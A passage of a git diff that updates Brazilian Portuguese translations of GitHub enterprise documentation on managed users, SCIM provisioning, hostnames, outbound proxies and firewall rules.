+  | Segredo partilhado | Token de acesso pessoal, token secreto | Token para aplicativo no seu IdP para executar tarefas de provisionamento em nome do proprietário de uma empresa | Token de acesso pessoal que você criou no passo 1                  |
 
 {% endif %}
diff --git a/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md b/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
index 318286d58f..750bf9935d 100644
--- a/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
+++ b/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Gerenciando a sincronização de equipes para organizações da sua empresa
 intro: 'É possível habilitar a sincronização de equipes entre um provedor de identidade (IdP) e {% data variables.product.product_name %} para permitir que organizações pertencentes à sua conta corporativa gerenciem a associação de equipes por meio de grupos IdP.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can manage team synchronization for an enterprise account.
 versions:
   ghec: '*'
diff --git a/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md b/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
index e76c6a99ee..7bb3140348 100644
--- a/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
+++ b/translations/pt-BR/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
 title: Alterando a configuração do SAML de uma organização para uma conta corporativa
 intro: Aprenda as considerações especiais e as práticas recomendas para substituir uma configuração do SAML no nível da organização por uma configuração do SAML de nível corporativo.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can configure SAML single sign-on for an enterprise account.
 versions:
   ghec: '*'
diff --git a/translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md b/translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md
index 2700c6ee2e..48f4c6fe30 100644
--- a/translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md
+++ b/translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md
@@ -1,7 +1,7 @@
 ---
-title: About Enterprise Managed Users
-shortTitle: About managed users
-intro: 'You can centrally manage identity and access for your enterprise members on {% data variables.product.prodname_dotcom %} from your identity provider.'
+title: Sobre usuários gerenciados pela empresa
+shortTitle: Sobre usuários gerenciados
+intro: 'Você pode gerenciar centralmente a identidade e o acesso dos integrantes da empresa em {% data variables.product.prodname_dotcom %} a partir do seu provedor de identidade.'
 product: '{% data reusables.gated-features.emus %}'
 redirect_from:
   - /early-access/github/articles/get-started-with-managed-users-for-your-enterprise
@@ -16,54 +16,54 @@ topics:
   - SSO
 ---
 
-## About {% data variables.product.prodname_emus %}
+## Sobre o {% data variables.product.prodname_emus %}
 
-With {% data variables.product.prodname_emus %}, you can control the user accounts of your enterprise members through your identity provider (IdP). You can simplify authentication with SAML single sign-on (SSO) and provision, update, and deprovision user accounts for your enterprise members. Users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your IdP are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and added to your enterprise. You control usernames, profile data, team membership, and repository access from your IdP.
+Com {% data variables.product.prodname_emus %}, você pode controlar as contas de usuário dos integrantes da empresa por meio do provedor de identidade (IdP). Você pode simplificar a autenticação com o logon único SAML (SSO) e provisionar atualizar e cancelar o provisionamento das contas de usuário para os membors da sua empresa. Os usuários atribuídos ao aplicativo {% data variables.product.prodname_emu_idp_application %} no seu IdP são provisionados como novas contas de usuário em {% data variables.product.prodname_dotcom %} e adicionados à sua empresa. Você controla nomes de usuários, dados de perfil, associação de equipe e acesso ao repositório a partir do seu IdP.
 
-In your IdP, you can give each {% data variables.product.prodname_managed_user %} the role of user, enterprise owner, or billing manager. {% data variables.product.prodname_managed_users_caps %} can own organizations within your enterprise and can add other {% data variables.product.prodname_managed_users %} to the organizations and teams within. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" and "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
+No seu IdP, você pode dar a cada {% data variables.product.prodname_managed_user %} a função do proprietário da empresa, usuário ou gerente de cobrança. {% data variables.product.prodname_managed_users_caps %} pode possuir organizações dentro da sua empresa e pode adicionar outros {% data variables.product.prodname_managed_users %} às organizações e equipes internamente. Para obter mais informações, consulte "[Funções em uma empresa](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" e "[Sobre as organizações](/organizations/collaborating-with-groups-in-organizations/about-organizations)".
 
-You can also manage team membership within an organization in your enterprise directly through your IdP, allowing you to manage repository access using groups in your IdP. Organization membership can be managed manually or updated automatically as {% data variables.product.prodname_managed_users %} are added to teams within the organization. For more information, see "[Managing team memberships with identity provider groups](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)."
+Você também pode gerenciar a associação à equipe de uma organização na sua empresa diretamente por meio do seu IdP, permitindo que você gerencie o acesso ao repositório usando grupos no seu IdP. Os integrantes da organização podem ser gerenciados manualmente ou atualizados automaticamente pois {% data variables.product.prodname_managed_users %} são adicionados às equipes da organização. Para obter mais informações, consulte "[Gerenciar associações de equipe com grupos de provedor de identidade](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)".
 
-You can grant {% data variables.product.prodname_managed_users %} access and the ability to contribute to repositories within your enterprise, but {% data variables.product.prodname_managed_users %} cannot create public content or collaborate with other users, organizations, and enterprises on the rest of {% data variables.product.prodname_dotcom %}. The {% data variables.product.prodname_managed_users %} provisioned for your enterprise cannot be invited to organizations or repositories outside of the enterprise, nor can the {% data variables.product.prodname_managed_users %} be invited to other enterprises. Outside collaborators are not supported by {% data variables.product.prodname_emus %}.
+Você pode conceder {% data variables.product.prodname_managed_users %} acesso e a capacidade de contribuir para repositórios na sua empresa, mas {% data variables.product.prodname_managed_users %} não pode criar conteúdo público ou colaborar com outros usuários, organizações e empresas no resto de {% data variables.product.prodname_dotcom %}. O {% data variables.product.prodname_managed_users %} provisionado para sua empresa não pode ser convidado para organizações ou repositórios fora da empresa, nem {% data variables.product.prodname_managed_users %} pode ser convidado para outras empresas. Os colaboradores externos não são compatíveis com {% data variables.product.prodname_emus %}.
 
-The usernames of your enterprise's {% data variables.product.prodname_managed_users %} and their profile information, such as display names and email addresses, are set by through your IdP and cannot be changed by the users themselves. For more information, see "[Usernames and profile information](#usernames-and-profile-information)."
+Os nomes de usuário do {% data variables.product.prodname_managed_users %} da empresa e as suas informações de perfil como, por exemplo, nomes de exibição e endereços de e-mail, são definidos por meio do seu IdP e não podem ser alterados pelos próprios usuários. Para obter mais informações, consulte "[Nomes de usuário e informações do perfil](#usernames-and-profile-information)".
 
 {% data reusables.enterprise-accounts.emu-forks %}
 
-Enterprise owners can audit all of the {% data variables.product.prodname_managed_users %}' actions on {% data variables.product.prodname_dotcom %}.
+Os proprietários de empresas podem auditar todas as ações de {% data variables.product.prodname_managed_users %}' em {% data variables.product.prodname_dotcom %}.
 
-To use {% data variables.product.prodname_emus %}, you need a separate type of enterprise account with {% data variables.product.prodname_emus %} enabled. For more information about creating this account, see "[About enterprises with managed users](#about-enterprises-with-managed-users)."
+Para usar {% data variables.product.prodname_emus %}, você precisa de um tipo de conta corporativa separado com {% data variables.product.prodname_emus %} habilitado. Para obter mais informações sobre a criação desta conta, consulte "[Sobre empresas com usuários gerenciados](#about-enterprises-with-managed-users)".
 
 
-## Identity provider support
+## Suporte do provedor de identidade
 
-{% data variables.product.prodname_emus %} supports the following IdPs:
+{% data variables.product.prodname_emus %} é compatível com os seguintes IdPs:
 
 {% data reusables.enterprise-accounts.emu-supported-idps %}
 
-## Abilities and restrictions of {% data variables.product.prodname_managed_users %}
+## Habilidades e restrições de {% data variables.product.prodname_managed_users %}
 
-{% data variables.product.prodname_managed_users_caps %} can only contribute to private and internal repositories within their enterprise and private repositories owned by their user account. {% data variables.product.prodname_managed_users_caps %} have read-only access to the wider {% data variables.product.prodname_dotcom %} community.
+O {% data variables.product.prodname_managed_users_caps %} só pode contribuir para repositórios privados e internos da sua empresa e repositórios privados pertencentes à sua conta de usuário. {% data variables.product.prodname_managed_users_caps %} tem acesso somente leitura a toda a comunidade de {% data variables.product.prodname_dotcom %} em geral.
 
-* {% data variables.product.prodname_managed_users_caps %} cannot create issues or pull requests in, comment or add reactions to, nor star, watch, or fork repositories outside of the enterprise.
-* {% data variables.product.prodname_managed_users_caps %} can view all public repositories on {% data variables.product.prodname_dotcom_the_website %}, but cannot push code to repositories outside of the enterprise.
-* {% data variables.product.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise. 
-* {% data variables.product.prodname_managed_users_caps %} cannot follow users outside of the enterprise.
-* {% data variables.product.prodname_managed_users_caps %} cannot create gists or comment on gists.
-* {% data variables.product.prodname_managed_users_caps %} cannot install {% data variables.product.prodname_github_apps %} on their user accounts.
-* Other {% data variables.product.prodname_dotcom %} users cannot see, mention, or invite a {% data variables.product.prodname_managed_user %} to collaborate.
-* {% data variables.product.prodname_managed_users_caps %} can only own private repositories and {% data variables.product.prodname_managed_users %} can only invite other enterprise members to collaborate on their owned repositories.
-* Only private and internal repositories can be created in organizations owned by an {% data variables.product.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings. 
+* {% data variables.product.prodname_managed_users_caps %} não pode criar problemas ou pull requests, comentar ou adicionar reações, nem estrelas, inspeção ou repositórios de bifurcação fora da empresa.
+* {% data variables.product.prodname_managed_users_caps %} pode visualizar todos os repositórios públicos em {% data variables.product.prodname_dotcom_the_website %}, mas não pode fazer push de código para repositórios fora da empresa.
+* {% data variables.product.prodname_managed_users_caps %} e o conteúdo que criaa é visível apenas para outros integrantes da empresa.
+* {% data variables.product.prodname_managed_users_caps %} não pode seguir os usuários fora da empresa.
+* {% data variables.product.prodname_managed_users_caps %} não pode criar gists ou comentários em gists.
+* {% data variables.product.prodname_managed_users_caps %} não pode instalar {% data variables.product.prodname_github_apps %} nas suas contas de usuário.
+* Outros usuários de {% data variables.product.prodname_dotcom %} não podem ver, mencionar ou convidar um {% data variables.product.prodname_managed_user %} para colaborar.
+* {% data variables.product.prodname_managed_users_caps %} só pode criar repositórios privados e {% data variables.product.prodname_managed_users %} só pode convidar outros integrantes da empresa para colaborar nos seus próprios repositórios.
+* Apenas repositórios privados e internos podem ser criados em organizações pertencentes a um {% data variables.product.prodname_emu_enterprise %}, dependendo das configurações de visibilidade da organização e do repositório corporativo.
 
-## About enterprises with managed users
+## Sobre empresas com usuários gerenciados
 
-To use {% data variables.product.prodname_emus %}, you need a separate type of enterprise account with {% data variables.product.prodname_emus %} enabled. To try out {% data variables.product.prodname_emus %} or to discuss options for migrating from your existing enterprise, please contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact).
+Para usar {% data variables.product.prodname_emus %}, você precisa de um tipo de conta corporativa separado com {% data variables.product.prodname_emus %} habilitado. Para experimentar {% data variables.product.prodname_emus %} ou para discutir opções para a migração da sua empresa existente, entre em contato com a [Equipe de vendas de {% data variables.product.prodname_dotcom %}](https://enterprise.github.com/contact).
 
-Your contact on the GitHub Sales team will work with you to create your new {% data variables.product.prodname_emu_enterprise %}. You'll need to provide the email address for the user who will set up your enterprise and a short code that will be used as the suffix for your enterprise members' usernames. {% data reusables.enterprise-accounts.emu-shortcode %} For more information, see "[Usernames and profile information](#usernames-and-profile-information)."
+Seu contato na equipe do GitHub de vendas vai trabalhar com você para criar seu novo {% data variables.product.prodname_emu_enterprise %}. Você deverá fornecer o endereço de e-mail para o usuário que irá configurar sua empresa e um código curto que será usado como sufixo para os nomes de usuários da sua empresa. {% data reusables.enterprise-accounts.emu-shortcode %} Para obter mais informações, consulte "[Nomes de usuário e informações do perfil](#usernames-and-profile-information)"
 
-After we create your enterprise, you will receive an email from {% data variables.product.prodname_dotcom %} inviting you to choose a password for your enterprise's setup user, which will be the first owner in the enterprise. Use an incognito or private browsing window when setting the password. The setup user is only used to configure SAML single sign-on and SCIM provisioning integration for the enterprise. It will no longer have access to administer the enterprise account once SAML is successfully enabled.
+Após criarmos sua empresa, você receberá um e-mail de {% data variables.product.prodname_dotcom %} convidando você a escolher uma senha para o usuário de configuração da sua empresa, que será o primeiro proprietário da empresa. Use uma janela de navegação anônima ou privada ao definir a senha. O usuário de configuração é usado apenas para configurar o logon único SAML e o provisionamento do SCIM para a empresa. Ele não terá mais acesso para administrar a conta corporativa assim que o SAML for habilitado com sucesso.
 
-The setup user's username is your enterprise's shortcode suffixed with `_admin`. After you log in to your setup user, you can get started by configuring SAML SSO for your enterprise. For more information, see "[Configuring SAML single sign-on for Enterprise Managed Users](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)."
+O nome do usuário de configuração é o código curto da sua empresa com o sufixo `_admin`. Depois de efetuar o login no seu usuário de configuração, você pode começar configurando o SAML SSO para a sua empresa. Para obter mais informações, consulte "[Configurando o logon único SAML para Usuários Gerenciados pela Empresa](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)."
 
 {% note %}
 
@@ -71,18 +71,18 @@ The setup user's username is your enterprise's shortcode suffixed with `_admin`.
 
 {% endnote %}
 
-## Authenticating as a {% data variables.product.prodname_managed_user %}
+## Efetuar a autenticação um {% data variables.product.prodname_managed_user %}
 
-{% data variables.product.prodname_managed_users_caps %} must authenticate through their identity provider.
+{% data variables.product.prodname_managed_users_caps %} deve efetuar a autenticação por meio de seu provedor de identidade.
 
-To authenticate, {% data variables.product.prodname_managed_users %} must visit their IdP application portal or **https://github.com/enterprises/ENTERPRISE_NAME**, replacing **ENTERPRISE_NAME** with your enterprise's name.
+Para efetuar a autenticação, {% data variables.product.prodname_managed_users %} deverá acessar o portal do aplicativo do IdP ou **https://github.com/enterprises/ENTERPRISE_NAME**, substituindo **ENTERPRISE_NAME** pelo nome da sua empresa.
 
-## Usernames and profile information
+## Nome de usuário e informações de perfil
 
-When your {% data variables.product.prodname_emu_enterprise %} is created, you will choose a short code that will be used as the suffix for your enterprise member's usernames. {% data reusables.enterprise-accounts.emu-shortcode %} The setup user who configures SAML SSO has a username in the format of **@<em>SHORT-CODE</em>_admin**.
+Quando o seu {% data variables.product.prodname_emu_enterprise %} for criado, você escolherá um código curto que será usado como sufixo para os nomes de usuários da sua empresa. {% data reusables.enterprise-accounts.emu-shortcode %} O usuário configurado que configurar o SAML SSO terá um nome de usuário no formato de **@<em>SHORT-CODE</em>_admin**.
 
-When you provision a new user from your identity provider, the new {% data variables.product.prodname_managed_user %} will have a {% data variables.product.product_name %} username in the format of **@<em>IDP-USERNAME</em>_<em>SHORT-CODE</em>**. When using Azure Active Directory (Azure AD), _IDP-USERNAME_ is formed by normalizing the characters preceding the `@` character in the UPN (User Principal Name) provided by Azure AD. When using Okta, _IDP-USERNAME_ is the normalized username attribute provided by Okta.
+Ao fornecer um novo usuário a partir do provedor de identidade, o novo {% data variables.product.prodname_managed_user %} terá um nome de usuário de {% data variables.product.product_name %} no formato de **@<em>IDP-USERNAME</em>_<em>SHORT-CODE</em>**. Ao usar o Diretório Ativo do Azure (Azure AD), _IDP-USERNAME_ é formado, normalizando os caracateres anteriores ao caractere `@` no UPN (Nome Principal do usuário) fornecido pelo Azure AD. Ao usar o Okta, o _IDP-USERNAME_ é o atributo de nome de usuário normalizado fornecido pelo Okta.
 
-The username of the new account provisioned on {% data variables.product.product_name %}, including underscore and short code, must not exceed 39 characters.
+O nome de usuário da nova conta provisionada em {% data variables.product.product_name %}, incluindo sublinhado e código curto, não deverá exceder 39 caracteres.
 
-The profile name and email address of a {% data variables.product.prodname_managed_user %} is also provided by the IdP. {% data variables.product.prodname_managed_users_caps %} cannot change their profile name or email address on {% data variables.product.prodname_dotcom %}.
+O nome do perfil e endereço de email de um {% data variables.product.prodname_managed_user %} também é fornecido pelo IdP. {% data variables.product.prodname_managed_users_caps %} não pode alterar seu nome de perfil ou endereço de e-mail em {% data variables.product.prodname_dotcom %}.
diff --git a/translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md b/translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
index a8769a167e..6917fa9eed 100644
--- a/translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
+++ b/translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
@@ -14,7 +14,7 @@ topics:
 
 ## Sobre o provisionamento para {% data variables.product.prodname_emus %}
 
-Você pode configurar o provisionamento para {% data variables.product.prodname_emus %} para criar, gerenciar e desativar contas de usuário para os integrantes da sua empresa. Ao configurar o provisionamento para {% data variables.product.prodname_emus %}, os usuários atribuídos ao aplicativo de {% data variables.product.prodname_emu_idp_application %} no seu provedor de identidade serão provisionados como novas contas de usuário em {% data variables.product.prodname_dotcom %} por meio do SCIM e os usuários serão adicionados à sua empresa.
+Você deve configurar o provisionamento para {% data variables.product.prodname_emus %} a fim de criar, gerenciar e desativar contas de usuário para os integrantes da sua empresa. Ao configurar o provisionamento para {% data variables.product.prodname_emus %}, os usuários atribuídos ao aplicativo de {% data variables.product.prodname_emu_idp_application %} no seu provedor de identidade serão provisionados como novas contas de usuário em {% data variables.product.prodname_dotcom %} por meio do SCIM e os usuários serão adicionados à sua empresa.
 
 Ao atualizar as informações associadas à identidade de um usuário no seu IdP, este atualizará a conta do usuário no GitHub.com. Quando você cancelar a atribuição do usuário do aplicativo de {% data variables.product.prodname_emu_idp_application %} ou desativar a conta de um usuário no seu IdP, este irá comunicar-se com {% data variables.product.prodname_dotcom %} para invalidar qualquer sessão do SAML e desabilitar a conta do integrante. As informações da conta desativada serão mantidas e seu nome de usuário será alterado para hash do seu nome de usuário original com o código curto anexado. Se você reatribuir um usuário para o aplicativo {% data variables.product.prodname_emu_idp_application %} ou reativar sua conta no seu IdP, a conta de {% data variables.product.prodname_managed_user %} em {% data variables.product.prodname_dotcom %} será reativada e o nome de usuário restaurado.
 
diff --git a/translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/index.md b/translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/index.md
index c82069b7a4..0659f1f58b 100644
--- a/translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/index.md
+++ b/translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/index.md
@@ -1,8 +1,8 @@
 ---
-title: Managing your enterprise users with your identity provider
-shortTitle: Manage users with your IdP
+title: Gerenciando os usuários da sua empresa com seu provedor de identidade
+shortTitle: Gerenciar usuários com seu IdP
 product: '{% data reusables.gated-features.emus %}'
-intro: You can manage identity and access with your identity provider and provision accounts that can only contribute to your enterprise.
+intro: Você pode gerenciar a identidade e o acesso com o seu provedor de identidade e prover contas que só podem contribuir com para a sua empresa.
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider
 versions:
diff --git a/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md b/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
index 2727ae6ddc..509097a1fd 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a hostname
-intro: We recommend setting a hostname for your appliance instead of using a hard-coded IP address.
+title: Configurar nome de host
+intro: 'Em vez de usar um endereço IP codificado, é recomendável definir um nome de host para o seu appliance.'
 redirect_from:
   - /enterprise/admin/guides/installation/configuring-hostnames
   - /enterprise/admin/installation/configuring-a-hostname
@@ -14,20 +14,19 @@ topics:
   - Fundamentals
   - Infrastructure
 ---
-If you configure a hostname instead of a hard-coded IP address, you will be able to change the physical hardware that {% data variables.product.product_location %} runs on without affecting users or client software.
 
-The hostname setting in the {% data variables.enterprise.management_console %} should be set to an appropriate fully qualified domain name (FQDN) which is resolvable on the internet or within your internal network. For example, your hostname setting could be `github.companyname.com.` We also recommend enabling subdomain isolation for the chosen hostname to mitigate several cross-site scripting style vulnerabilities. For more information on hostname settings, see [Section 2.1 of the HTTP RFC](https://tools.ietf.org/html/rfc1123#section-2).
+Se configurar um nome de host em vez de um endereço IP codificado, você poderá alterar o hardware físico em que a {% data variables.product.product_location %} é executada sem afetar os usuários ou o software cliente.
+
+A configuração do nome de host no {% data variables.enterprise.management_console %} deve ser definida como um nome de domínio totalmente qualificado (FQDN) que seja resolvido na internet ou dentro da sua rede interna. Por exemplo, a configuração do nome de host pode ser `github.nomedaempresa.com.` Também recomendamos habilitar o isolamento de subdomínio para o nome do host escolhido a fim de mitigar várias vulnerabilidades no estilo de script entre sites. Para obter mais informações sobre as configurações de nome de host, consulte a [Seção 2.1 em HTTP RFC](https://tools.ietf.org/html/rfc1123#section-2).
 
 {% data reusables.enterprise_installation.changing-hostname-not-supported %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.hostname-menu-item %}
-4. Type the hostname you'd like to set for {% data variables.product.product_location %}.
-  ![Field for setting a hostname](/assets/images/enterprise/management-console/hostname-field.png)
-5. To test the DNS and SSL settings for the new hostname, click **Test domain settings**.
-  ![Test domain settings button](/assets/images/enterprise/management-console/test-domain-settings.png)
+4. Digite o nome do host que você pretende definir para a {% data variables.product.product_location %}. ![Campo para configurar um nome de host](/assets/images/enterprise/management-console/hostname-field.png)
+5. Para testar as configurações DNS e SSL do novo nome de host, clique em **Test domain settings** (Testar configurações de domínio). ![Botão Test domain settings (Testar configurações de domínio)](/assets/images/enterprise/management-console/test-domain-settings.png)
 {% data reusables.enterprise_management_console.test-domain-settings-failure %}
 {% data reusables.enterprise_management_console.save-settings %}
 
-After you configure a hostname, we recommend that you enable subdomain isolation for {% data variables.product.product_location %}. For more information, see "[Enabling subdomain isolation](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation/)."
+Depois de configurar um nome de host, recomendamos que você habilite o isolamento de subdomínio para a {% data variables.product.product_location %}. Para obter mais informações, consulte "[Habilitar isolamento de subdomínio](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation/)".
diff --git a/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md b/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md
index efcd3a1f2d..a5cf6730f9 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring an outbound web proxy server
-intro: 'A proxy server provides an additional level of security for {% data variables.product.product_location %}.'
+title: Configurar servidor proxy web de saída
+intro: 'Servidores proxy geram uma camada extra de segurança para a {% data variables.product.product_location %}.'
 redirect_from:
   - /enterprise/admin/guides/installation/configuring-a-proxy-server
   - /enterprise/admin/installation/configuring-an-outbound-web-proxy-server
@@ -14,30 +14,28 @@ topics:
   - Fundamentals
   - Infrastructure
   - Networking
-shortTitle: Configure an outbound proxy
+shortTitle: Configurar um proxy de saída
 ---
 
-## About proxies with {% data variables.product.product_name %}
+## Sobre proxies com {% data variables.product.product_name %}
 
-When a proxy server is enabled for {% data variables.product.product_location %}, outbound messages sent by {% data variables.product.prodname_ghe_server %} are first sent through the proxy server, unless the destination host is added as an HTTP proxy exclusion. Types of outbound messages include outgoing webhooks, uploading bundles, and fetching legacy avatars. The proxy server's URL is the protocol, domain or IP address, plus the port number, for example `http://127.0.0.1:8123`.
+Quando houver um servidor proxy habilitado para a {% data variables.product.product_location %}, as mensagens de saída enviadas para o {% data variables.product.prodname_ghe_server %} sairão primeiramente pelo servidor proxy, a menos que o host de destino seja adicionado como exclusão de proxy HTTP. Os tipos de mensagens de saída incluem webhooks de saída, pacotes para upload e fetch de avatares herdados. A URL do servidor proxy é o protocolo, domínio ou endereço IP e o número da porta, por exemplo: `http://127.0.0.1:8123`.
 
 {% note %}
 
-**Note:**  To connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}, your proxy configuration must allow connectivity to `github.com` and `api.github.com`. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
+**Observação:** para conectar a {% data variables.product.product_location %} ao {% data variables.product.prodname_dotcom_the_website %}, a sua configuração de proxy deve permitir conectividade com `github.com` e `api.github.com`. Para obter mais informações, consulte "[Conectando sua conta corporativa a {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)".
 
 {% endnote %}
 
-{% data reusables.actions.proxy-considerations %} For more information about using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_ghe_server %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
+{% data reusables.actions.proxy-considerations %} Para obter mais informações sobre como usar {% data variables.product.prodname_actions %} com {% data variables.product.prodname_ghe_server %}, consulte "[Primeiros passos com {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)".
 
-## Configuring an outbound web proxy server
+## Configurar servidor proxy web de saída
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-1. Under **HTTP Proxy Server**, type the URL of your proxy server.
-  ![Field to type the HTTP Proxy Server URL](/assets/images/enterprise/management-console/http-proxy-field.png)
-  
-5. Optionally, under **HTTP Proxy Exclusion**, type any hosts that do not require proxy access, separating hosts with commas. To exclude all hosts in a domain from requiring proxy access, you can use `.` as a wildcard prefix.  For example: `.octo-org.tentacle`
-  ![Field to type any HTTP Proxy Exclusions](/assets/images/enterprise/management-console/http-proxy-exclusion-field.png)
+1. Em **HTTP Proxy Server** (Servidor proxy HTTP), digite a URL do seu servidor proxy. ![Campo para digitar a URL do servidor proxy HTTP](/assets/images/enterprise/management-console/http-proxy-field.png)
+
+5. Você também pode ir até **HTTP Proxy Exclusion** (Exclusão de proxy HTTP) e digitar qualquer host que não exija acesso por proxy, separando os hosts por vírgulas. Para excluir todos os hosts de um domínio que exige acesso ao proxy, você pode usar `.` como um prefixo curinga.  Por exemplo: `octo-org.tentacle` ![Campo para digitar qualquer exclusão de proxy HTTP](/assets/images/enterprise/management-console/http-proxy-exclusion-field.png)
 
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md b/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
index b6f5cbfb9d..383bee2d3f 100644
--- a/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
+++ b/translations/pt-BR/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring built-in firewall rules
-intro: 'You can view default firewall rules and customize rules for {% data variables.product.product_location %}.'
+title: Configurar regras de firewall integrado
+intro: 'É possível exibir as regras padrão de firewall e personalizar outras regras da {% data variables.product.product_location %}.'
 redirect_from:
   - /enterprise/admin/guides/installation/configuring-firewall-settings
   - /enterprise/admin/installation/configuring-built-in-firewall-rules
@@ -14,20 +14,21 @@ topics:
   - Fundamentals
   - Infrastructure
   - Networking
-shortTitle: Configure firewall rules
+shortTitle: Configurar regras do firewall
 ---
-## About {% data variables.product.product_location %}'s firewall
 
-{% data variables.product.prodname_ghe_server %} uses Ubuntu's Uncomplicated Firewall (UFW) on the virtual appliance. For more information see "[UFW](https://help.ubuntu.com/community/UFW)" in the Ubuntu documentation. {% data variables.product.prodname_ghe_server %} automatically updates the firewall allowlist of allowed services with each release.
+## Sobre o firewall da {% data variables.product.product_location %}
 
-After you install {% data variables.product.prodname_ghe_server %}, all required network ports are automatically opened to accept connections. Every non-required port is automatically configured as `deny`, and the default outgoing policy is configured as `allow`. Stateful tracking is enabled for any new connections; these are typically network packets with the `SYN` bit set. For more information, see "[Network ports](/enterprise/admin/guides/installation/network-ports)."
